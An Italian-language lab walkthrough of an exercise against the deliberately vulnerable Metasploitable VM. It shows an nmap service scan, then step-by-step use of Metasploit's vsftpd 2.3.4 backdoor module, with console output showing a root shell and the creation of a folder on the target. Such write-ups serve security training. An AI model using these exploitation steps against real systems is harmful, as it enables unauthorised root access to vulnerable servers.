

Hacking con Metasploit

Prima effettueremo una scansione con nmap per cercare quali sono i servizi attivi e cercare quello da attaccare, nel nostro caso sarà per la porta 21\vsftpd

```
(kali㉿kali)-[~]
$ nmap -sV 192.168.1.149
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-05 09:04 EST
Nmap scan report for 192.168.1.149
Host is up (0.042s latency).
Not shown: 531 closed tcp ports (conn-refused), 450 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnetd      Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.21 seconds

(kali㉿kali)-[~]
$
```

Qui una visione più dettagliata del nostro

```
(kali㉿kali)-[~]
$ nmap -A -p 21 192.168.1.149
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-05 09:06 EST
Nmap scan report for 192.168.1.149
Host is up (0.0031s latency).

PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
| ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to 192.168.50.100
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.32 seconds
```

Per prima cosa imposteremo il nostro Metasploit come richiesto:

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:ed:a5:b7
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:feed:a5b7/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:60 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:4340 (4.2 KB)
          Base address:0xd020  Memory:f0200000-f0220000
```

E passeremo ad utilizzare **msfconsole** come richiesto

```
msf6 > search vsftpd 1
Matching Modules
-----
#  Name                                     Disclosure Date  Rank    Check  Description
--  -
0  exploit/unix/ftp/vsftpd_234_backdoor    2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor 2
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options 3

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    21               yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  --      -
  PAYLOAD   cmd/unix/interact  yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Exploit target:

  Id  Name
  --  -
  0    Automatic

View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

- 1) Per prima cosa cercheremo il modulo da noi richiesto con il comando **search vsftpd** , dove così ci mostrerà solamente il modulo con la nostra richiesta
- 2) Useremo il comando **Use** per utilizzare ciò che ci serve scrivendo il percorso oppure il numero di lato (**0** in questo caso)
- 3) Una volta avviato ci apparirà la stringa in rosso, da qui possiamo avviare il comando **show options** per ricevere altre informazioni
- 4) **RHOSTS** andrà impostato tramite il comando “**set RHOSTS IpDiMeta**” e possiamo vedere al di sotto “**Payload Options**” i parametri necessari per seguire il Payload. Nessuno in questo caso.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149 (tag to change Order)
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
```

Name	Current Setting	Required	Description
RHOSTS	192.168.1.149	yes	The target host(s), see https://www.metasploit.com/docs/using-the-framework/136-creating-a-new-exploit-module.html#Using-Metasploit
RPORT	21	yes	The target port (TCP)

Una volta impostato il nostro Ip di Meta possiamo proseguire scrivendo nella stringa “**exploit**” questo farà partire il nostro attacco verso la macchina Metasploit

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
```

Qui sotto possiamo vedere come tutto sia andato a buon fine. Scrivendo Ifconfig possiamo vedere come ci troviamo nella macchina attaccata (**Notare Ip di Meta**)

```
[*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:33521 → 192.168.1.149:6200) at 2022-12-05 08:59:33 -0500

ifconfig
eth0  Link encap:Ethernet  HWaddr 08:00:27:ed:a5:b7
      inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
      inet6 addr: fe80::a00:27ff:feed:a5b7/64 Scope:Link
      UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
      RX packets:383  errors:0  dropped:0  overruns:0  frame:0
      TX packets:144  errors:0  dropped:0  overruns:0  carrier:0
      collisions:0 txqueuelen:1000
      RX bytes:25343 (24.7 KB)  TX bytes:15132 (14.7 KB)
      Base address:0xd020  Memory:f0200000-f0220000

lo    Link encap:Local Loopback
      inet addr:127.0.0.1  Mask:255.0.0.0
      inet6 addr: ::1/128 Scope:Host
      UP LOOPBACK RUNNING  MTU:16436  Metric:1
      RX packets:384  errors:0  dropped:0  overruns:0  frame:0
      TX packets:384  errors:0  dropped:0  overruns:0  carrier:0
      collisions:0 txqueuelen:0
      RX bytes:155305 (151.6 KB)  TX bytes:155305 (151.6 KB)
```

Dalla stessa schermata abbiamo poi creato la cartella richiesta nell’esercizio scrivendo, al posto di Ifconfig, il comando **mkdir /root/test_meta**

```
mkdir test_meta  
mkdir /root/test_meta  
ls  
bin  
boot  
cdrom  
dev  
etc  
home  
initrd  
initrd.img  
lib  
lost+found  
media  
mnt  
nohup.out  
opt  
proc  
root  
sbin  
srv  
sys  
test_meta
```

Possiamo avere conferma aprendo Metasploit e cercando la cartella creata

```
Desktop reset_logs.sh test_meta vnc.log  
msfadmin@metasploitable:/root$
```